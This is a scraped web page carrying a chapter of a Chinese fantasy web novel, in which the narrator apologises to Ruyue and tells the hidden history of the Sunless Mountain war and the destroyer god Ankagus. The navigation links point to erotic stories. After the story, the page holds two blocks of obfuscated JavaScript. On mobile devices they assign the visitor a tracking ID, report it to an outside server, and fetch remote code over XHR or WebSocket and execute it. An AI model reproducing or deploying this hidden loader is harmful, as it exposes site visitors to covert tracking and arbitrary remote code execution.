我摇摇晃晃地爬起来,推开叫着从陵墓�跑出来扶我的小公主,然后摇摇晃晃地走到陵墓门口。梅丽娅已经进去了,她现在正在训斥如月,这世上唯一能够喝止住如月的人也只有她。

“我在这儿只想说几句话!”

我一边呕着血一边道:

“当年的事情,其实真相并不是我过去一直说的那样,其实事实真相我早就心�有数!”

“以你父亲的性格,我想当时他在托布鲁克之战后就想杀死我吧!你一定是尽力为我求情了,而对我下毒,一定是他强迫你妥胁后的结果!他一定是对你说这只是以防万一,为了能随时遥控我的生死!如果你不这么做他当时会杀了我!你是被迫的!”

“其实真相我早就该猜到了,其实我早就知道了……只是我不愿意去面对这些!因为我在害怕,害怕承担希拉母子之死是因为我的错误的责任。因为我不敢面对是自己害死妻儿的凶手的真相!所以我必须有一个用来转移自己仇恨和恐惧的对象,而你,是再合适不过的了!”

我说话的时候,如月一直在发抖,神龙王的气息时强时弱的从陵墓�闪发出来。她的情绪现在相当的激动且极不稳定!她当然要激动,当年她所受的奇耻大辱,绝对不是我一句道歉就可以抹平。

“你这个混蛋!谁要你在这儿道歉了!你给我滚!”

我还想再说些什么,但情绪已经激动到极点的如月却再次暴走,然后冲着我再度挥拳,不过这次却梅丽娅阻止了。站在陵墓外的我感觉到了两股气息不同的龙力冲突,互相压制的强烈波动。起初的时候,借住情绪的力量,如月的神龙王力一下子压过了梅丽娅的碧玉龙力,然而就在神龙王力完全爆发的前一刻,就象十多年前在沈月峡发生过的那般,没有任何预兆的,这个股力量莫名的崩溃,瞬间跌到谷底,然后被碧玉龙力压得再无法发作。

神龙王力量的暴走停止了,但是,由我破开口子的那颗心,却依旧象决堤的山洪般向外喷涌涛天巨浪。

“我不需要你的歉意!我不需要这个!姐姐你不要拦我!呜,你这混蛋,谁想听你的这些鬼话!当年的毒是我主动要求下的,和我父亲无关,是我,一切全是我做的……”

完全是竭斯底�的尖叫,我突如其来的歉意,其实也刺中了如月心中最虚弱的地方。这二十年�,我因为需要恨而恨她,同样,她也因为同样的理由而恨我。我们之间的仇恨并不仅仅是因为仇恨本身,也是因为我们都需要仇恨做为自己活下去的依靠。从某种意义上说,我的道歉对如月也是一剂毒药。

我知道再说下去,情绪激动如月估计也听不进去,只好将交谈的对象转向梅丽娅。

“姐姐,破坏神安卡古斯,害死碧姬阿姨的那个家伙,他还没有死!当年他被碧姬阿姨重创,却仗着不死不灭的完美体,正在缓慢地自我恢复!再过一年,就是他完全苏醒的时刻!那时的他,将使用自己的肉体,以最强最完美的姿态重新降临这个世界。”

“安卡古斯,他是创世之神,却也是毁灭之神!和我从前那虚假的完美体不同,他是真正的完美体!唯一能打倒他的方法,就是我使出那招天绝,静止时间和空间,剥夺他的完美体不死之身,然后用完美的两极合一才能打倒他。”

“但是,我虽然从过去的噩梦中摆脱出来,可是希安的感觉也已经不存在了!现在的我,无法使出霸拳,更无法用上最强的那招天绝。这样的话,要打倒安卡古斯,唯一的办法就只有一个。”

拥有逆乱因果完全境界的魔神路西法生前几乎算无遗策,但是最后他对我还是算错了一件事:当我摆脱了过去的阴影从噩梦中醒来的时候,希安,那个我分裂的人格,他也消失了。没有希安的存在,我根本无法使用创世的力量。他把打倒安卡古斯的筹码完全压在我身上,明显是错了。不过这不怪他,逆乱因果的完全境界,唯一不能掌控的就是人心。

“那就是我和公主联手,她的创世之力加上我的逆世之力,我们俩两极合一,合作使出那招!”

“我知道,活着的人中,我最对不住人的就是公主,她最恨的人也是我!要求她和我联手,这很过份……但是,这是我必须去做的事情!当这一切结束的时候,如果我不死,我会为过去的错,给她一个最满意的交待……明天,我还会再来的!”

说完这些,我没再多做停留,转身离开了陵园。

离开女儿那一家时,我本以为自己可以阳光一点地面对未来了,现在却发现,原来理想和现实的差距还是那样的巨大。欠什么债都好,但就是别欠感情债,从我不再逃避过去的那一刻起,我也不得不背上这二十年来欠下诸多债务,然后拼尽全力去偿还。

得知我摆脱了心魔的折磨,消除了两极合一的隐患后回来,卡尤拉非常地高兴。她难得地在皇宫�办了几桌酒宴,然后把帝国所有的龙战士家族的成员都请了过来,大家很高兴地聚了一场。当然,如月依旧没有到场,只有小公主代表她出面,陪她来的还有拉法。

小公主她带来了如月话:“姐姐同意了,她说三天后,她会在初始之地等你!”

这一切并不出我的意料之外,如果如月真的想要我的命,当时那一击就可以把我轰碎!那时的我根本没有半点防御力,但在最后一刻,如月还是把力量控制住了,仅仅只是让我重伤。

见所有的龙战士都来得差不多了,我决定把一件真相向他们宣布,这并不是什么秘密,小克�斯汀比我更早知道,只是至今他一直密而不宣。

我说:“我今天要告诉大家一件事:我们的世界,现在正面临着完全毁灭的危机!”

【正传第五部:达克心灵失守·第三十六集:希望之星(上卷)】第十一章:日不落山之战的真相

日不落山之战,这是发生在遥远的神话时代的战争,交战的双方都是创世之神的部下,居于日不落山上的天使,一为无情无爱没有半点情感的守护天使,另一方为拥有情感的堕落天使。

守护天使的力量,是和魔法世界�最神秘的一种能力紧紧地联系在一起的,这种能力名为逆乱因果。

逆乱因果,从本质上说,这并不能称为魔法或者武技,他只是一种感悟,拥有这种感悟的生命,最大的特点就是能够轻易地看透万物运行的规律并加以改变。而这感悟最极端的表现有两种:一为创造,一为破坏。

创造,当领悟了完全境界之后,拥有者可以凭着这种感悟轻易地创造生命。风之大陆上的五大种族,龙、人类、魔族、兽人、精灵,就是拥有逆乱因果完全境界的创世之神创造出来的。

而破坏,则稍微“简单”一些。拥有者可以凭借这种能力,在战斗中轻易地看穿对方的一切招式、魔法并轻松破解。从前我和小克�斯汀与路西法交手时总是觉得处处受制,也正是源于如此。

日不落山上的每一个守护天使,他们都拥有逆乱因果的能力,唯一不同的仅仅是彼此的领悟程度高低有别。而且,和龙战士不同的是,他们身上逆乱因果的能力并不是只升不降的,情感,就是损害这种能力最强的毒药。

日不落山上的守护天使,一旦拥有了情感,自身对逆乱因果的领悟就会直线下降,严重者甚至会归零,这就是堕落之说的由来。完全丧失这种能力守护天使翅膀会变成漆黑色,这时的他们就称为堕落天使。

堕落之后的天使们,虽然丧失了逆乱因果的能力,却意外地得到了另一种比逆乱因果本身更不可思议的能力:用情感推动力量!当他们以自身拥有的最极端的情感,爱,或者恨推动力量时,体内的力量会不受肉体制约近乎无限制膨胀,提升,甚至强到连创世之神都要自叹不如的境界。

最有意思的是,情感来自内心,而心,却是逆乱因果唯一看不透的东西。

魔神路西法,他并不是第一个堕落的守护天使。如果按照堕落的次序排名,他差不多可以排在接近垫底的位置。在他彻底地堕落之前,已经达到逆乱因果九成境界的他,做得最多的事情,就是满世界地追杀那些堕落天使们,因为在创世之神定下的法则中,堕落天使是应当抹杀的存在。

情感,对于那时的他来说是不存在的,所以,在杀死时这些昔日的同伴时,他一点也没有手软,更没有手慢,直至有一天他遇上了两根“硬骨头”。

那两根硬骨头,其实是一对相互之间产生了名为“爱情”的情感的守护天使,堕落之后拥有了不同的性别,男和女。这两个堕落天使原日不落山上的排名是在近乎垫底的位置,和身为诸多守护天使之首的路西法实力实在相差巨大。

这样的战斗,本来应当毫无悬念可言。但是,谁都没有想到的是,在那场宰杀叛逆的战斗中,这两个排名最末的堕落天使,为保护彼此相爱的对方,战斗中力量居然近乎无限地提升提升再提升,竟反过来将路西法压制,甚至到最后,连另一位守护天使米伽勒的加入,也只是勉强拼了个两败俱伤的结局。

不,所谓的两败俱伤,那只是遮羞的说法!战到最后,路西法和米伽勒虽然杀死一名对手,两人却也身负重伤已无力再战,而活着的那个对手却拥有可以继续战斗和杀死他们的能力。

“你们这群只会服从于创世之神的傻瓜天使,你们不过是没有情感的木头,根本不知道什么是爱!”

只是,在看到爱人死去,获胜者在悲痛交加中留下了这句遗言后,竟放过两人当场自尽了!

这场大败而胜的结局对路西法的影响巨大,在随后漫长的养伤时间�,他幻化成大陆上不同种族的模样,游走于人间,开始去探知那个所谓的情感,所谓的爱是何种事物,为何能令一对“弱小”的叛逆爆发出如此恐怖的力量。

接下来的故事�,他用了几十年的时间,在魔族中找到了答案。然而当他明白何为情感,何为爱,喜怒哀乐是为何物之后,这位日不落山上最强的天使,也象无数被他斩杀的同伴一般,无可救药地堕落了——他先是爱上了一个魔族的女子,然后为了维护拥有爱的权力和保护所爱的人,他集结了所有的堕落天使,向创世之神的权威发出挑战!

原本以为,这只不过是一场堕落天使们近乎绝望下的徒劳抗争,然而,日不落山之战开始时的战况,却是出乎双方意料之外的一边倒。

开战的时候,创世之神已沈睡多年,并没有插手天使之间的内战。以心中的爱为执念推动力量的堕落天使们,轻易地打败了用逆乱因果战斗的守护天使,而且失败者输得非常地难看。而当时守护天使之首米伽勒,更是在惨败之余被路西法生擒。

胜利者并没有将失败者一网打尽杀个精光。在当时,路西法做了一件事:他将米伽勒的肉体与灵魂分离,米伽勒的肉体被他封印在日不落山上,而灵魂被他打入凡间,不断地转世。不仅仅是对米伽勒如此,对所有战败被擒的守护天使,他都打算这样做。他的意图这时已再明显不过了:他要所有的守护天使们亲身体会,明白情感是为何物之后,再重新回归日不落山的肉体之中!然后,他会等着他们堕落,变为自己的同伴,最后再带着他们一起联手,打倒那高高在上的创世之神。

路西法的计划可谓完美,然而当他仅仅在米伽勒身上完成这个计划时,异变却突然发生:沈睡多年的创世之神醒了。

始一登场的他,自称是破坏神安卡古斯,接着就毫无留情地对待在日不落山的双方天使展开无差别的屠杀。是的,是屠杀,无论是忠诚于他的守护天使还是叛逆的堕落天使,他都毫不留情地出手杀掉,然后吞噬,变成自己力量的一部分,如此反复。

这时的他,已不再是这个世界的创造者,而是毁灭者,。

作为是风之大陆创造者的创世之神,为何会突然变得如此?原因很简单,这是达到逆乱因果完全境界后必然出现的结果。

无论是谁,当他拥有逆乱因果完全境界这种神秘的能力之后,他就开始受两种完全相反的喜好不断的诱惑。这种诱惑,一为创造,二为破坏。

创造:无中生有地创造不存在的东西,甚至是生命。而破坏,不仅仅只是破坏敌人对手的招式,更包括了将一切自己认为不完美的事物毁灭的冲动。因为,拥有逆乱因乱完全境界的能力之后,拥有者的眼睛�往往容不下任何“不完美”的事物。

“世界由我创造,也该由我毁灭!”

先是用自己的能力创造一个全新的世界,然后把他们象推积木一样地完全推倒,毁灭。这就是拥有逆乱因果完全境界的创世之神的本质理念,也是在拥有逆乱因果完全境界后必然的结果。

没有创造,哪有毁灭?创世之神创造这个世界的目的,只是了最后的毁灭。创造只是初始,毁灭则是终结,再然后他会在一片废墟之中重新创造新的世界,继续着这个生与死的循环。

这样的游戏,创世之神并不是第一次做了!存在于风之大陆上的所谓上古遗物的文明遗迹,其实就是前一个被创世之神毁灭的的世界的残骸。

从安卡古斯现世的那一刻起,这个循环的第二步就已经开始。尽管守护和堕落天使们联起手来,拼尽全力地阻止。然而,在这个同时拥有两个阵营优点的十二翼怪物面前,一切反抗都近乎是徒劳的。

守护天使除了肉体与灵魂被事先分离的米伽勒外,全部被杀和吞噬,骨肉无存,彻底消失在这个世界。而堕落天使一方,也死伤殆尽,仅有魔神路西法还在拼尽全力抵抗着。

失去了所有战友的路西法在安卡古斯面前,就象蚂蚁一般的脆弱。然而在绝境之中做徒劳反坑的路西法,在使出魔法月渎之后,竟不可思议反败为胜,一举将安卡古斯封印。

破坏神安卡古斯拥有不死不灭的完美体,路西法虽然获胜却无法彻底地将他杀死。于是他只能用魔法将对手的肉体与灵魂分离,封印在日不落山上。

这才是日不落山之战真正的真相!

数千年后,当这个封印松动,安卡古斯又即将出世之时,初代沧海龙在已成为魔神的路西法的指引下,登上日不落山,以自己的肉体为容器,再次将他封印。

破坏神安卡古斯最令人头痛的地方,就是他那不死不灭的完美体——灵魂不灭,肉体不灭!象从前的我一样,哪怕被挫骨扬灰也会自动回复过来。封印他,效果只是治标不治本。

因为路西法的救世之举而侥幸存在的这个世界,在这段时间也继续存在而发展着。在这漫长的岁月�,他也一直在为如何打倒这个成为破坏之神的魔物而苦恼,直到有一天,他无意中在凡间的一个种族身上发现了希望。

这个种族的名字就叫人类。

这个由创世之神亲手创造的种族看似弱小,却拥有一种唯有逆乱因果完全境界的神才拥有的独特能力,不亚于神的创造力和想象力。

史上第一位新人类:达达尼亚·迈尔斯的诞生,让路西法狠狠地惊诧了一下。

数百年后,当十贤者用令神都要震惊的方式创造出始无前例的超级生物龙战士后,这位一直在暗中观察人类的魔神终于坐不住。

这位魔神曾对我说过,他在魔族身上找到了答案,却在人类身上看到了希望。龙战士诞生之后,他就隐隐地感觉到,彻底毁灭安卡古斯的希望或许可以放在这种人类自己创造出来的生命身上。

随后,他先后找上了那个时代最强的两个龙战士,初代沧海龙和初代黄金龙,指导他们,希望他们能能够替代身上有着巨大隐患的自己拯救这个世界。

是的,路西法这个打败过安卡古斯的救世主,他自己本身却也正在变面临着变成第二个安卡古斯的危机。

在这数千年漫长的岁月�,经历了爱人悲欢离和,生离死别的情爱折磨,在看遍了凡人世界无数次上演的生生死死,恩恩怨怨之后,心境上逐渐大彻大悟的路西法,竟在拥有情感的同时,也逐渐地恢复了守护天使最强的能力:逆乱因果,并且在无意中达到了和创世之神同等的完全境界。

达到完全境界的那一天后,此时路西法已是和创世之神等同的存在。然而,曾经是这个世界救世主的他这时也面临着和创世之神相同的问题:创造和毁灭的诱惑。

毁灭这个看似很不完美的世界,然后再凭自己的想象创造一个理想中完美的新世界。

这样的冲动,这千年来一直折磨着他,而他也努力地用心中残存的情感抗拒着这种冲动。

“逆乱因果的完全境界,我终于战胜他了!”

有意地死在我的“过去未来拳”之下时,他说的这句话,其实也是这个伟大的魔神这千年来和这种诱惑不断抗争的总结,到最后他终于没有象安卡古斯一般被自己的能力所操纵。为了对抗这种冲动,其实他一直都在等待能将他毁灭的人出现——我们的那场决斗,不过是两个一心求死的人在争夺死亡的权利罢了,结果也正如卡尤拉预言的那般:活下来的那个是失败者。

说完了这个故事后,我告诉大家道:

“我们没有时间了,一年,还有一年,那家伙就会出来!毁灭这个不完美的世界!然后,他会在一片废墟之上,重新开始他创世的游戏!”

所有人都沉默了,包括早已知道真相的小克�斯汀。

“要杀掉那家伙,办法只有一个!”

接着我把那天在陵园的话又重复了一次,说完之后,小克�斯汀发表了他的看法:

“这个办法,理论上是可行的,可是却有一个重大的破绽!”

“什么破绽?”

“是月渎!而大哥,无论是你还是公主,在那个铐问自我心灵的世界�,你和她,能否做到真我,本我,知我,并最终从自我心中的阴影中走出来吗?要知道,那个怪物也会这一招!”

这确实是一个天大的问题,月渎这种魔法实过于逆天,无视能力等级的差距,直指万物的内心。从前,这是救世的绝招,而现在成为摆在我们面前最大的桎梏。这三十年的风风雨雨,无论是我还是如月,我们俩的内心都被命运折磨得伤痕累累,离能免疫这一招的完美心灵差了不知远到哪儿去。

“这确实是个大问题!”

即使是从过去的阴影中摆脱出来的我,现在依然没有把握能面对这一切。

小克�斯汀也坦然向我承认道:“其实我也无法抵抗这一招,事实上,我每次用这一招时,他的反噬力正越来越大!不是月渎出了问题,而是我自己出了问题!”

一时间,我们俩都愁容满面,至于其他的龙战士,他们更想不出更好的办法。

一直在边上当听众的尼诺突然插嘴进来。

“叔叔,你多虑了呢!俗话说胆小的怕胆大的,胆大的怕不要命的,不要命的怕变态的!变态老爸最可怕的地方,就在于他是一个变态中的变态啊!变态是不能用正常人的眼光去看的!这世界上还有什么东西,比老爸这样疯狂的加不要命的变态中的变态更可怕的吗?呜呜!”

卡尤拉听到尼诺又在胡言乱语,终于受不住手揪住他的耳朵,施展平生所学上演了一出皇后教子的话剧。

【第三十六集完】


上一篇:阿姨打麻将把身子输给我

下一篇:《娇艳异想》(全本) 作者:群芳丛中 (8/14)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};